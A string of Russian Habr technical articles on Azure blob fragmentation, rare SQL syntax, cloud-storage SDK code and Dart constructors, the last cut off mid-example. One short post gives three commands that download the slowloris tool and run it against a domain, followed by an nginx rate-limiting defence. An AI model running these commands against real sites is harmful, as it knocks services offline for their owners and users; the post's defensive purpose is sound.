Во-первых, они не давали нужной скорости чтения при запросах за длительные периоды. Все банально упиралось в скорость получения данных от Table API, и даже переход на посуточное партиционирование и параллельные запросы по каждым суткам не давал нужного результата.
Во-вторых, уж очень дорого начинало выходить железо наших API сервисов из-за JSON сериализации в которой приходят ответы от Table API.
Начали исследовать варианты, приценились к Cosmos DB, но выходило совсем дорого при наших объемах, и тут наткнулись на Append BLOB-ы, которые как раз вышли в General Availability. Microsoft предлагал использовать их для сценариев добавления данных (журналы, логи), причем у них из коробки был функционал неблокируемой записи в блоб несколькими писателями. Казалось бы, что могло пойти не так?
И вот наш прототип развернут на стенде для нагрузочного тестирования. Вначале все было довольно хорошо – данные лились в блобы шустро, запросы к ним тоже выполнялись быстрее чем при работе с Azure Table Storage, благо чтобы найти их не требовалось сканировать партицию таблицы, достаточно было сформировать имя блоба из типа события и даты, а бинарная protobuf сериализация позволила сильно экономить на процессорных ресурсах.
Все было хорошо до момента, пока число записей в блобах не стало приближаться к ожидаемому суточному количеству. Чем дольше работала заливка данных, тем медленнее наше приложение отдавало данные по запросам к API. Скорость чтения блобов внутри инфраструктуры Azure, в одном дата-центре, от Storage Account до наших Web API сервисов, снизилась до неадекватных значений. Блоб размером в десяток мегабайт мог читаться несколько минут!
Как показал анализ мы столкнулись с проблемой чтения фрагментированных блобов.
Если вы используете Append BLOBs с конкурентной вставкой, то Azure для каждой операции добавления создает отдельный блок, и синхронизирует только операции коммита блоков, никак не группируя блоки с данными. И когда размер блока оказывается очень малым при большом их, блоков, количестве – скорость чтения такого блоба катастрофически падает.
Отсюда, кстати, стоит сразу сделать вывод: если вы пользуетесь такими блобами для журналирования, и вам важна скорость загрузки этих журналов в свою собственную инфраструктуру, например ELK, то хорошей идеей будет выставить максимально возможный, с точки зрения допустимых потерь, размер буфера отправки в логгере вашего прикладного ПО.
Block BLOB и как им заменить Append BLOB
----------------------------------------
Теперь вернемся к блочным блобам, и заодно я расскажу, как мы решили проблему с телеметрией. [В документации по Blob Storage Microsoft приводит пример загрузки блоба целиком одним вызовом](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-quickstart-blobs-dotnet#upload-a-blob-to-a-container).
У данного метода есть ограничение по размеру создаваемого блоба, но, подозреваю, в большинстве случаев из него никто не выходит, так как в текущий момент это около 5Гб (до 2019 – 256Мб, до 2016 – до 64Мб).
Но кроме такого простого API есть еще и расширенное. Что в нем? Три операции – Put Block, Put Block List и Get Block List. Если кратко – вы можете загрузить отдельные блоки размером до 4Гб (до 2019 – 100Мб, до 2016 – 4Мб), каждый блок должен иметь уникальный идентификатор размером до 64 байт, а потом вы вызываете Put Block List передавая ему список идентификаторов блоков и блоб становится доступным и видимым другим клиентам.
Если копнуть глубже, что еще можно сделать с этими методами?
Например, можно при загрузке блоба самостоятельно разбить данные на нужное нам число блоков и загружать их одновременно. Так можно ускорить загрузку больших блобов почти на порядок и при этом практически без изменения логики загрузки данных в целом. Но об этом ниже.
Либо можно реализовать свой собственный Append BLOB, добавляя в конец существующего блоба новые блоки. А можно так – хранить в сервисе, обновляющем блоб, содержимое последнего хвостового блока и актуальный список блоков. Тогда при необходимости добавить немного данных в блоб вы просто добавляете их к этому содержимому, создаете из него новый хвостовой блок и заменяете им старый. Два вызова API (Put Block и Put Block List), ни одного чтения, и у вас практически Append BLOB, только лучше, так как фрагментация у него сильно ниже. Ну а когда хвостовой блок становится слишком большим – начинаем собирать новый. Из минусов - нужно делать привязку клиентов к инстансу сервиса, через который модифицируется блоб. Собственно, это то что получилось у нас, и теперь переваривает довольно большие объемы телеметрии.
Но необязательно останавливаться на этом. Ведь у уже созданного блоба можно менять любые блоки, не только последний. К тому же размеры блоков не обязательно должны быть одинаковыми, так что блоки можно и разделять и склеивать в пределах максимально допустимых 4Гб.
А еще у нас есть ID блока, в который можно положить до 64 байт данных. И если для собственно идентификатора блока в блобе достаточно пары байт (помним – не более 50000 блоков на блоб), то в остальные 62 байта можно класть произвольные данные, так что можно организовать свои собственные небольшие метаданные для блоков, правда в режиме "только для чтения".
Фрагментация, скорость загрузки и скачивания
--------------------------------------------
Но что же со скоростью работы с блобами, всегда ли фрагментация вредна? Ответом тут будет: это зависит от задачи.
Пример - использование блобов для доставки в ДЦ Azure данных из внешней инфраструктуры, когда для импорта данных в Azure Tables выгоднее упаковать данные в блоб, закинуть их в Storage Account в том же ДЦ что и ваша таблица, и уже там заливать данные в таблицу. Скорее всего на стороне Azure ограничивающим фактором будет уже не скорость чтения блоба (если не доводить его фрагментацию до абсурда), а вставка в таблицу, и тогда ускорение процесса заливки блоба может быть полезным.
```
public static class BlockBlobClientExtensions
{
public static async Task UploadUsingMultipleBlocksAsync(this BlockBlobClient client, byte[] content, int blockCount)
{
if(client == null) throw new ArgumentNullException(nameof(client));
if(content == null) throw new ArgumentNullException(nameof(content));
if(blockCount < 0 || blockCount > content.Length) throw new ArgumentOutOfRangeException(nameof(blockCount));
var position = 0;
var blockSize = content.Length / blockCount;
var blockIds = new List();
var tasks = new List();
while (position < content.Length)
{
var blockId = Convert.ToBase64String(Guid.NewGuid().ToByteArray());
blockIds.Add(blockId);
tasks.Add(UploadBlockAsync(client, blockId, content, position, blockSize));
position += blockSize;
}
await Task.WhenAll(tasks);
await client.CommitBlockListAsync(blockIds);
}
private static async Task UploadBlockAsync(BlockBlobClient client, string blockId, byte[] content, int position, int blockSize)
{
await using var blockContent = new MemoryStream(content, position, Math.Min(blockSize, content.Length - position));
await client.StageBlockAsync(blockId, blockContent);
}
}
```
Конечно, можно реализовать такую логику распараллеливая загрузку данных по разным блобам и на стороне Azure собирать из них исходные данные, однако, если в дальнейшем необходимо гарантировать последовательность обработки данных и их целостность, то проще использовать загрузку блоков и Put Block List для атомарного создания блоба из отдельных блоков.
Особенно такой подход имеет смысл рассматривать при необходимости быстро загружать большие объемы данных в географически удаленный ДЦ Azure, когда из-за большой латентности TCP соединения мы не можем полностью утилизировать доступный нам канал.
Но не следует в гонке за скоростью забывать о лимитах Storage Account чтобы не попасть под троттлинг запросов (как в тесте ниже), ну и делать это точно стоит только если при разбиении на блоки их размер будет оставаться достаточно большим.
Немного тестов
--------------
Оценить влияние фрагментации на скорость скачивания блоба, а так же то, как параллелизм повлияет на скорость загрузки блоба в Storage Account, можно по результатам небольшого теста ниже.
Берем случайный массив байт размером 100.000.000 байт, загружаем в Storage Account в виде блоба состоящего из 1, 100, 1000, 10000 или 50000 (больше блоков в текущей версии API в один блоб добавить нельзя) блоков, полученных разбиением исходного массива на равные части. После этого полученный блоб скачиваем и удаляем. Замеряем время загрузки и скачивания, скорость рассчитываем, используя время в секундах, округленное до двух знаков после запятой.
Тест №1. Storage Account в ДЦ Azure North Europe, клиент в Москве.
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| Blocks count | Block size, bytes | Upload time, s | Upload speed, Kb/s | Download time, s | Download speed, Kb/s |
| 1 | 100 000 000 | 19.32 | 5 054 | 28.90 | 3 379 |
| 100 | 1 000 000 | 3.81 | 25 631 | 38.49 | 2 537 |
| 1 000 | 100 000 | 6.00 | 16 276 | 42.16 | 2 316 |
| 10 000 | 10 000 | 7.27 | 13 432 | 127.73 | 764 |
| 50 000 | 2 000 | 31.97 | 3 054 | 394.86 | 247 |
Тест №2. Storage Account в ДЦ Azure West US, клиент в Москве.
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| Blocks count | Block size, bytes | Upload time, s | Upload speed, Kb/s | Download time, s | Download speed, Kb/s |
| 1 | 100 000 000 | 51.48 | 1 896 | 80 | 1 220 |
| 100 | 1 000 000 | 8.96 | 10 899 | 96 | 1 017 |
| 1 000 | 100 000 | 3.48 | 28 062 | 105 | 930 |
| 10 000 | 10 000 | 2.67 | 36 575 | 230 | 424 |
| 50 000 | 2 000 | 9.82 | 9 944 | 770 | 127 |
*Увеличение времени загрузки блоба при увеличении числа блоков от 1000 и выше похоже обусловлено троттлингом из-за выхода за лимиты API Storage Account-а - ситуация, доводить до которой в проде ни в коем случае не следует.*
Выводы
------
При работе с большими изменяемыми блобами важно контролировать степень их фрагментации, иначе легко оказаться в ситуации что данные вроде как есть, но скорость доступа к ним стала настолько низкой что их (данных) как бы и нет.
Если вы всетаки столкнулись с такой проблемой то скорее всего придется или менять логику приложения, или задуматься о регулярном "лечении" таких блобов путем пересборки их с объединением блоков в более крупные, благо API позволяет это сделать не создавая промежуточных блобов, прямо in-place, и даже с возможностью через Optimistic concurrency не потерять консистентности ценой повторной переобработки.
А вот для сценария импорта данных Azure небольшая фрагментация (на уровне 100–1000 блоков, и с контролем степени параллелизма) позволит загрузить данные в ДЦ Azure на порядок быстрее и более полно утилизировать ваш канал , что при потери скорости обработки данных в дальнейшем примерно на 25% выглядит приемлемым компромиссом и при этом не потребует глубокой модификации кода приложения. | https://habr.com/ru/post/652337/ | null | ru | null |
# Редкий SQL
Вводная
-------
Когда часто сталкиваешься с какой-либо технологией, языком программирования, стандартом, формируется некая картина их возможностей, границы, в которых они используются. Так может продолжаться достаточно долго, пока на глаза не попадаются примеры, которые расширяют затвердевшие горизонты знания. Сегодня, я хотел бы рассказать о таких примерах и продемонстировать их для языка SQL. Интересные и редкие конструкции, забытые выражения, странные приемы ждут Вас в этой статье. Кого заинтересовал, добро пожаловать под кат.
Нюансы
------
Меня часто спрашивают, а для кого эта статья? Но, поверьте, не всегда легко дать ответить: с одной стороны, есть ниндзя разработчики, которых сложно чем то удивить, а с другой — молодые падаваны. Но одно точно могу сказать — для читателя, которого интересует SQL, который способен дополнять свою богатую картину мелкими, но очень интересными деталями. В данной статье не будет километровых страниц sql-запроса, максимум 1, 2 строчки и только то, что встречается на мой взгляд редко. Но так как я хочу быть до конца откровенным, если Вы с sql на ты, статья покажется скучноватой. Все примеры в статье, за исключением первого и четвертого можно отнести к стандарту SQL-92.
Данные
------
Для того, чтобы упростить нам жизнь, я накидал простую табличку с данными, на которой будут опробованы те или иные моменты и для краткости, я буду приводить результат эксперимента над ними. Все запросы я проверяю на PostgreSql. **Скрипты и таблица с данными**
```
CREATE TABLE goods(
id bigint NOT NULL,
name character varying(127) NOT NULL,
description character varying(255) NOT NULL,
price numeric(16,2) NOT NULL,
articul character varying(20) NOT NULL,
act_time timestamp NOT NULL,
availability boolean NOT NULL,
CONSTRAINT pk_goods PRIMARY KEY (id));
INSERT INTO goods (id, name, description, price, articul, act_time, availability) VALUES (1, 'Тапочки', 'Мягкие', 100.00, 'TR-75', {ts '2017-01-01 01:01:01.01'}, TRUE);
INSERT INTO goods (id, name, description, price, articul, act_time, availability) VALUES (2, 'Подушка', 'Белая', 200.00, 'PR-75', {ts '2017-01-02 02:02:02.02'}, TRUE);
INSERT INTO goods (id, name, description, price, articul, act_time, availability) VALUES (3, 'Одеяло', 'Пуховое', 300.00, 'ZR-75', {ts '2017-01-03 03:03:03.03'}, TRUE);
INSERT INTO goods (id, name, description, price, articul, act_time, availability) VALUES (4, 'Наволочка', 'Серая', 400.00, 'AR-75', {ts '2017-01-04 04:04:04.04'}, FALSE);
INSERT INTO goods (id, name, description, price, articul, act_time, availability) VALUES (5, 'Простынка', 'Шелковая', 500.00, 'BR-75', {ts '2017-01-05 05:05:05.05'}, FALSE);
```
| | | | | | | |
| --- | --- | --- | --- | --- | --- | --- |
| id | name | description | price | articul | act\_time | availability |
| 1 | Тапочки | Мягкие | 100.00 | TR-75 | 2017-01-01 01:01:01.01 | true |
| 2 | Подушка | Белая | 200.00 | PR-75 | 2017-01-02 02:02:02.02 | true |
| 3 | Одеяло | Пуховое | 300.00 | ZR-75 | 2017-01-03 03:03:03.03 | true |
| 4 | Наволочка | Серая | 400.00 | AR-75 | 2017-01-04 04:04:04.04 | false |
| 5 | Простынка | Шелковая | 500.00 | BR-75 | 2017-01-05 05:05:05.05 | false |
Запросы
-------
#### 1. Двойные кавычки
И первое что у меня есть — это простой вопрос: *Смогли бы Вы привести пример sql-запроса c использованием **двойных** кавычек?* Да, не с одинарными, двойными?
**Пример с двойными кавычками**
```
SELECT name "Имя товара" FROM goods
```
| |
| --- |
| **Имя товара** |
| Тапочки |
| Подушка |
| Одеяло |
| Наволочка |
| Простынка |
Я был очень удивлен, когда увидел это в первый раз. Если попробовать изменить двойные кавычки на одинарные, результат будет совершенно **иной**!
**Пример с одинарными кавычками**
```
SELECT name 'Это данные' FROM goods WHERE id = 1
```
| |
| --- |
| **name** |
| *Это данные* |
Может показаться, что это не очень полезный пример для реальной разработки. Для меня это не так. Теперь я его активно использую во всех своих sql-заготовках. Суть проста, когда возвращаешься через пол года к sql-запросу из 40 колонок, ой как спасает 'нашенское' их название. Не смотря, что я не указал про SQL-92, в последней редакции упоминание про двойные кавычки имеются.
#### 2. Псевдо таблица. SQL-92
Немного не точно, с точки зрения терминологии, но суть проста — таблица получающаяся в результате подзапроса в секции FROM. Пожалуй самый известный факт в этой статье
**Псевдо таблица**
```
SELECT mock.nickname "Прозвище", (CASE WHEN mock.huff THEN 'Да' ELSE 'Нет' END) "Обижается?" FROM (SELECT name AS nickname, availability AS huff FROM goods) mock
```
| | |
| --- | --- |
| Прозвище | Обижается? |
| Тапочки | Да |
| Подушка | Да |
| Одеяло | Да |
| Наволочка | Нет |
| Простынка | Нет |
В нашем примере mock — это псевдо таблица (иногда называют виртуальной таблицей). Естественно, предназначены они вовсе не для того, чтобы переврать истинный смысл. Пример такой.
#### 3. Конструктор блока данных. SQL-92
Звучит страшно, просто из-за того, что я не нашел хорошего перевода или интерпретации. И как всегда на примере легче объяснить:**Пример конструктора блока данных**
```
SELECT name "Имя товара", price "Цена" FROM (VALUES ('Тапочки', 100.00), ('Подушка', 200.00)) AS goods(name, price)
```
| | |
| --- | --- |
| Имя товара | Цена |
| Тапочки | 100.00 |
| Подушка | 200.00 |
В секции **FROM** используется ключевой слово **VALUES**, за которым в скобках данные, строка за строкой. Суть в том, что мы вообще не выбираем данные из какой-то таблицы, а просто создаем их налету, 'называем' таблицей, именуем колонки и далее используем по своему усмотрению. Эта штука оказалось крайне полезной при тестировании разных кейсов sql-запроса, когда данных для некоторых таблиц нет (в Вашей локальной БД), а писать insert лень или иногда очень сложно, ввиду связанности таблиц и ограничений.
#### 4. Время, Дата и Время-и-Дата
Наверное каждый сталкивался в запросах, с необходимостью указания времени, даты или даты-и-времени. Во многих СУБД поддерживаются литералы t, d и ts соответственно для работы с этими типами. Но проще объяснить на примере:**Пример с литералом ts**
```
SELECT name "Имя товара", act_time "Точное время" FROM goods WHERE act_time = {ts '2017-01-01 01:01:01.01'}
```
| | |
| --- | --- |
| Имя товара | Точное время |
| Тапочки | 2017-01-01 01:01:01.01 |
Для литералов d и t все аналогично.
Прошу прощение у читателя, что ввел в заблуждение, но все что сказано в пункте 4 не относится к языку SQL, а относится к возможностям предобработки запросов в JDBC.
#### 5. Отрицание. SQL-92
Все мы знаем про оператор **NOT**, но очень часто забывают, что его можно применять как к группе предикатов так и к одиночной колонке:
**Пример с отрицанием**
```
SELECT id, name, availability FROM goods WHERE NOT availability
-- или так
SELECT id, name FROM goods WHERE NOT (id = 1 OR id = 2 OR id = 3)
```
| | | |
| --- | --- | --- |
| id | name | availability |
| 4 | Наволочка | false |
| 5 | Простынка | false |
#### 6. Сравнение блоков данных. SQL-92
В очередной раз прошу прощение за терминологию. Это один из любимых моих примеров**Пример сравнения блоков данных**
```
SELECT * FROM goods WHERE (name, price, availability) = ('Наволочка', 400.00, FALSE)
-- или его аналог
SELECT * FROM goods WHERE name = 'Наволочка' AND price = 400.00 AND availability = FALSE
```
| | | | | | | |
| --- | --- | --- | --- | --- | --- | --- |
| id | name | description | price | articul | act\_time | availability |
| 4 | Наволочка | Серая | 400.00 | AR-75 | 2017-01-04 04:04:04.04 | false |
Как видно из примера, сравнение блоков данных аналогично сравнению поэлементно *значение\_**1**\_block\_1 = значение\_**1**\_block\_2, значение\_**2**\_block\_1 = значение\_**2**\_block\_2, значение\_**3**\_block\_1 = значение\_**3**\_block\_2* с использованием **AND** между ними.
#### 7. Операторы сравнения с модификаторами ANY, SOME или ALL. SQL-92
Вот здесь требуется пояснение. Но как всегда, сначала пример**Пример сравнения c ALL**
```
SELECT id, name FROM goods WHERE id > ALL (SELECT id FROM goods WHERE availability)
```
| | |
| --- | --- |
| id | name |
| 4 | Наволочка |
| 5 | Простынка |
Что означает **ALL** в данном случае? А означает он то, что условию выборки удовлетворяют только те строки, идентификаторы которых (в нашем случае это 4 и 5), больше **любого** из найденных значений в подзапросе (1, 2 и 3). 4 больше чем 1 и чем 2 и чем 3. 5 аналогично. Что будет, если мы заменим **ALL** на **ANY**?
**Пример сравнения c ANY**
```
SELECT id, name FROM goods WHERE id > ANY (SELECT id FROM goods WHERE availability)
```
| | |
| --- | --- |
| id | name |
| 2 | Подушка |
| 3 | Одеяло |
| 4 | Наволочка |
| 5 | Простынка |
Что означает **ANY** в данном случае? А означает он то, что условию выборки удовлетворяют только те строки, идентификаторы которых (в нашем случае это 2, 3, 4 и 5), больше **хотя бы одного** из найденных значений в подзапросе (1, 2 и 3). Для себя я ассоциировал **ALL** с **AND**, а **ANY** с **OR**. **SOME** и **ANY** аналоги между собой.
#### 8. Операторы работы с запросами/под запросами. SQL-92
Достаточно известно, что можно объединить 2 запроса между собой с помощью операторов **UNION** или **UNION ALL**. Этим пользуются часто. Но существуют еще 2 оператора **EXCEPT** и **INTERSECT**.
**Пример с EXCEPT**
```
SELECT * FROM goods EXCEPT (SELECT * FROM goods WHERE availability)
```
| | | | | | | |
| --- | --- | --- | --- | --- | --- | --- |
| id | name | description | price | articul | act\_time | act\_time |
| 4 | Наволочка | Серая | 400.00 | AR-75 | 2017-01-04 04:04:04.04 | false |
| 5 | Простынка | Шелковая | 500.00 | BR-75 | 2017-01-05 05:05:05.05 | false |
Собственно из первого множества значений исключаются данные второго множества.
**Пример с INTERSECT**
```
SELECT * FROM goods WHERE id > 2 INTERSECT (SELECT * FROM goods WHERE availability)
```
| | | | | | | |
| --- | --- | --- | --- | --- | --- | --- |
| id | name | description | price | articul | act\_time | act\_time |
| 3 | Одеяло | Пуховое | 300.00 | ZR-75 | 2017-01-03 03:03:03.03 | true |
Собственно происходит пересечение первого множества значений и второго множества.
На этом все, спасибо за Ваше внимание.
Источники
---------
*[BNF Grammars for SQL-92, SQL-99 and SQL-2003](https://github.com/ronsavage/SQL)*
*[SQL Tutorial](http://www.dofactory.com/sql/tutorial)*
Редакция
--------
N1. Спасибо streetflush за конструктивную критику. Внес статью информацию о том, что является стандартом языка, а что нет.
N2. Исправлен пункт 4, с пояснение о том, что ts/d/t не являюься частью языка SQL. Спасибо за внимательность Melkij. | https://habr.com/ru/post/321504/ | null | ru | null |
# Детский HTTP DOS
Часто администраторы настраивают LAMP «из коробки». Для домашних страничек и тестовых стендов в этом нет ничего страшного.
Полноценный DDOS — это не самое дешевое удовольствие для атакующего и, если Ваш портал заказали, то должны найтись ресурсы для защиты от атаки.
Куда большую опасность представляет детский DOS, так как провести такую атаку может любой желающий. Уязвимости подвержены все популярные Web серверы в исходной комплектации с пустыми правилами firewall и применяется к корпоративным порталам, выделенным серверам, VPS — всему, что поставлено, но не настроено. Массовый хостинг, как правило, детскими болезнями не болеет.
Для Debian-подобных систем это 3 команды:
`wget ha.ckers.org/slowloris/slowloris.pl
aptitude install libio-socket-ssl-perl
./slowloris.pl -dns domain.ru`
Если Вы этого еще не сделали, поставьте на фронтенд nginx. Он не только быстрее работает с файлами и ускорит отдачу статики, но обладает огромными возможностями для администратора, о которых *иногда* Сысоев рассказывает в рассылке.
Реализация ограничения на количество запросов к динамическим страницам с одного IP.
Разрешено 10 запросов в секунду с одного IP с возможными пиками до 30 запросов.
`limit_req_zone $binary_remote_addr zone=lphp:10m rate=10r/s;
location / {
limit_req zone=lphp burst=30 nodelay;`
Юные дарования могут проверить Ваш ресурс на прочность в самый неподходящий момент. Например, когда Вы в отпуске. Не откладывайте защиту в долгий ящик. | https://habr.com/ru/post/125300/ | null | ru | null |
# Хранение данных в облаке
С восходом социальных приложений, таких, как Facebook, Instagram, YouTube и многих других, управление сгенерированным пользователями контентом стало проблемой, а проблемы нужно решать. Amazon AWS S3, Google Storage, Rackspace Cloud Files и другие похожие сервисы стали появляться, как грибы после дождя, чтобы помочь разработчикам приложений решить актуальную проблему – управление масштабируемым хранилищем активов. И конечно же все они используют “Облако”!
#### Проблема
Популярные социальные приложения, научные приложения и приложения генерирующие медиа контент способны генерировать гигантское количество информации за короткий промежуток времени. Вот вам пару примеров:
* 72 часа видео загружаются на YouTube пользователями каждую минуту. ([источник](http://www.youtube.com/t/press_statistics))
* 20 миллионов фотографий загружаются в SnapChat каждый день. ([источник](http://techcrunch.com/2012/10/29/billion-snapchats/))
* Pinterest сохранил 8 миллиардов объектов и 410 терабайт данных со времени своего запуска в 2009. ([источник](http://aws.amazon.com/solutions/case-studies/))
* Twitter генерирует приблизительно 12 терабайт данных в день. ([источник](http://www.linuxnews.co/2012/06/psychsoftpc-offers-hadoop-cluster-solution/))
Когда ваше приложение начинает сохранять огромное количество контента, который сгенерировали ваши пользователи, ваша команда должна будет решить, куда инвестировать своё время для решения этой задачи. Если ваше приложение построено таким образом, чтобы размещать активы на вашем железе/инфраструктуре, ваша команда потратит кучу времени и денег пытаясь эффективно хранить и управлять активами. Как вариант вы можете сохранять активы у облачного провайдера хранилищ. Выбрав этот путь вы сможете позволить контенту приложений масштабироваться почти безгранично, платя только за используемое место и ресурсы для подачи этого контента. Как следствие, облачное хранение данных развяжет руки вашим инженерам и позволит сконцентрироваться на создание уникальных приложений, вместо придумывания велосипеда, когда масштабируемость станет проблемой.
#### Когда стоило бы задуматься об использовании облачных хранилищ для вашего приложения?
* **Когда контент, генерируемый вашими пользователями, является частью приложения.** Позволяет ли ваше приложение пользователям загружать файлы? Генерирует ли приложение файлы на стороне сервера? Если приложение будет принимать файлы или сгенерированный контент будет храниться в файловой системе, вам рано или поздно придётся задуматься об облачном хранении данных.
* **Когда вашему приложению тесно на одном сервере**. Если ваше приложение достаточно компактно, чтобы работать на одном сервере или веб хосте и вы не ожидаете изменений, хранить активы в облаке не имеет смысла. Можно настроить их хранение в локальной файловой системе и забыть об этом. Если же вы замечаете, что вам понадобится второй сервер приложений, вы сразу можете пожинать плоды и прелести облачного хранения активов. Вы сможете горизонтально масштабировать свой сервис на неограниченное количество серверов приложений без необходимости реплицировать вашу файловую систему активов на новых серверах. Так как ваши активы будут храниться централизованно, они будут досягаемы с любого места, вне зависимости от количества серверов, на которых будет работать ваше приложение.
* **Когда для вашей команды важнее сконцентрироваться на разработке возможностей вашей программы, которые являются критическими для вашего бизнеса, нежели на разработке масштабируемой файловой системы.** Если у вас мало либо денег, либо времени и вы предвидете рост вашего приложения, облачное хранилище будет беспроигрышным вариантом. Оно даст вам возможность быстро развёртывать приложение и масштабировать его по мере необходимости.
#### Интеграция и доступ
Большинство лидирующих облачных хранилищ предоставляет доступ через свой API позволяя разработчикам интегрировать облачное хранение активов в свое приложение. Ниже мы взглянем на несколько примеров кода с использованием SDK или библиотеки для хранения активов на Amazon S3.
#### Ruby & Carrierwave
Примеры кода адаптированы из репозитория [CarrierWave](https://github.com/jnicklas/carrierwave).
* Установим CarrierWave: **gem install carrierwave** или в ваш gemfile **gem 'carrierwave'**
* Установим Fog: **gem install fog** или в ваш gemfile **gem «fog», "~> 1.3.1"**
* Добавьте в файл инициализации следующее:
```
CarrierWave.configure do |config|
config.fog_credentials = {
:provider => 'AWS', # required
:aws_access_key_id => 'xxx', # required
:aws_secret_access_key => 'yyy', # required
:region => 'eu-west-1' # optional, defaults to 'us-east-1'
}
config.fog_directory = 'имя_папки'
config.fog_public = false
config.fog_attributes = {'Cache-Control'=>'max-age=315576000'}
config.asset_host = 'https://assets.example.com’
end
```
* Создайте uploader класс:
```
class AvatarUploader < CarrierWave::Uploader::Base
storage :fog
end
```
* Использование uploader напрямую:
```
uploader = AvatarUploader.new
uploader.store!(my_file)
uploader.retrieve_from_store!('my_file.png')
```
* Использование вашего uploader с ActiveRecord:
Добавьте поле в свою таблицу базы данных и потребуйте CarrierWave:
```
add_column :users, :avatar, :string in a database migration file
require 'carrierwave/orm/activerecord' in your model file.
```
* Подсоедените свой uploader к модели:
```
class User < ActiveRecord::Base
mount_uploader :avatar, AvatarUploader
end
```
* Работа с моделью и файлами:
```
u = User.new
u.avatar = params[:file]
u.avatar = File.open('somewhere')
u.save!
u.avatar.url # => '/url/to/file.png'
u.avatar.current_path # => 'path/to/file.png'
u.avatar.identifier # => 'file.png'
```
Вот примеры использования CarrierWave для загрузки на [Amazon S3,](https://github.com/jnicklas/carrierwave#using-amazon-s3) [Rackspace Cloud Files](https://github.com/jnicklas/carrierwave#using-rackspace-cloud-files) и [Google Storage](https://github.com/jnicklas/carrierwave#using-google-storage-for-developers), а также несколько джемов для ORM, таких, как [DataMapper](https://github.com/jnicklas/carrierwave-datamapper), [Mongoid](https://github.com/jnicklas/carrierwave-mongoid) and [Sequel](https://github.com/jnicklas/carrierwave-sequel).
#### PHP & AWS SDK
Amazon предоставляет [PHP SDK](https://github.com/amazonwebservices/aws-sdk-for-php) для работы с AWS API и сервисами. Для этого примера мы будем использовать инструкции из SDK репозитория README.
* Скопируйте содержимое [config-sample.inc.php](https://github.com/amazonwebservices/aws-sdk-for-php/raw/master/config-sample.inc.php) и добавьте свои полномочия, как указано в файле.
* Переместите ваш файл в **~/.aws/sdk/config.inc.php**.
* Не забудьте, что **getenv(‘HOME’)** должен указывать на вашу пользовательскую папку. Иначе вам нужно указать это **putenv('HOME=<ваша-пользовательская-папка>')**
```
// инстанцировать AmazonS3 класс
$s3 = new AmazonS3();
// создаём новый s3 bucket для загрузки
$bucket = 'НАЗВАНИЕ-ВАШЕГО-BUCKET' . strtolower($s3->key);
if (!$s3->if_bucket_exists($bucket))
{
$response = $s3->create_bucket($bucket,AmazonS3::REGION_US_E1);
if (!$response->isOK()) die('Could not create `' . $bucket . '`.');
}
// Скачиваем общественный объект.
$response = $s3->get_object('aws-sdk-for-php', 'some/path-to-file.ext',array(
'fileDownload' => './local/path-to-file.ext'
));
// Загружаем объект.
$response = $s3->create_object($bucket, 'some/path-to-file.ext', array(
'fileUpload' => './local/path-to-file.ext'
));
```
#### Node & Knox
Для Node.js я адаптировал пример кода из [Knox Amazon S3 клиента](https://github.com/learnboost/knox) на Github.
```
// конфигурируем клиент
var client = knox.createClient({
key: ''
, secret: ''
, bucket: 'BUCKET-NAME'
});
// загружаем файл на S3
client.putFile('some/path-to-file.ext', 'bucket/file-name.ext', function(err, res){
// Logic
});
// Скачиваем файл из S3
client.get('/some/path-to-file.ext’).on('response', function(res){
console.log(res.statusCode);
console.log(res.headers);
res.setEncoding('utf8');
res.on('data', function(chunk){
console.log(chunk);
});
}).end();
// Стираем файл из S3
client.del('/some/path-to-file.ext’).on('response', function(res){
console.log(res.statusCode);
console.log(res.headers);
}).end();
```
#### Вывод
Как вы видите, работать с AWS S3 APIs крайне просто и существует куча доступных библиотек для большинства языков. Я бы рекомендовал взглянуть на облачные хранилища при разработке своего будущего проекта. Вы сэкономите себе время не изобретая новые решения размещения активов и вам будет предоставлена практически неограниченная возможность масштабирования облачного хранилища. | https://habr.com/ru/post/173939/ | null | ru | null |
# Характерные особенности языка Dart
Dart был разработан так, чтобы выглядеть знакомо для программистов на таких языках, как Java и JavaScript. Если постараться, можно писать на Dart практически так же, как на одном из них. Если *очень* постараться — можно даже превратить его в Фортран, но при этом вы упустите множество неповторимых и классных особенностей Dart.
Эта статья поможет вам научиться писать код в стиле Dart. Так как язык всё ещё активно развивается, многие идиомы тоже могут измениться в будущем. В некоторых местах мы пока сами не определились, что является наилучшей практикой (может быть вы нам поможете?) Тем не менее, вот несколько моментов, на которые стоит обратить внимание, чтобы переключить свои мозги из режима Java или JavaScript в режим Dart.
#### Конструкторы
Мы начнем эту статью так же, как начинают свою жизнь объекты — с конструкторов. Каждому объекту предстоит быть созданным в конструкторе, и его определение — важный момент в создании качественного класса. У Dart есть несколько интересных особенностей.
##### Автоматическая инициализация полей
Для начала избавимся от занудных повторений. Конструкторы часто берут аргументы и просто присваивают их значения полям класса:
```
class Point {
num x, y;
Point(num x, num y) {
this.x = x;
this.y = y;
}
}
```
Нам пришлось набрать `x` четыре раза просто чтобы инициализировать поле. Полный отстой! Лучше сделать так:
```
class Point {
num x, y;
Point(this.x, this.y);
}
```
Если в списке аргументов конструктора перед именем аргумента идет `this.`, поле с этим именем будет автоматически инициализировано значением аргумента. В нашем примере использована ещё одна маленькая хитрость — если тело конструктора пустое, можно использовать `;` вместо `{}`.
##### Именованные конструкторы
Как большинство динамических языков, Dart не поддерживает перегрузку. В случае методов это не так страшно, потому что мы просто можем придумать другое имя. Конструкторам повезло меньше. Чтобы облегчить их участь, Dart позволяет использовать именованные конструкторы:
```
class Point {
num x, y;
Point(this.x, this.y);
Point.zero() : x = 0, y = 0;
Point.polar(num theta, num radius) {
x = Math.cos(theta) * radius;
y = Math.sin(theta) * radius;
}
}
```
У класса `Point` есть три конструктора — обычный и два именованных. Вот как их можно использовать:
```
var a = new Point(1, 2);
var b = new Point.zero();
var c = new Point.polar(Math.PI, 4.0);
```
Обратите внимание, что мы используем `new` с именованными конструкторами, это не обычные статические методы.
##### Фабричные конструкторы
Иногда бывает полезно использовать шаблон проектирования “фабрика”. Например, вам нужно создать экземпляр класса, но необходима некоторая гибкость, просто захардкодить вызов конструктора определенного типа недостаточно. Возможно вы хотите вернуть кешированный экземпляр, если таковой имеется, или объект другого типа.
Dart позволяет сделать это, не изменяя код в месте создания объекта. Вы можете создать фабричный конструктор, который вызывается так же, как и обычный. Например:
```
class Symbol {
final String name;
static Map \_cache;
factory Symbol(String name) {
if (\_cache == null) {
\_cache = {};
}
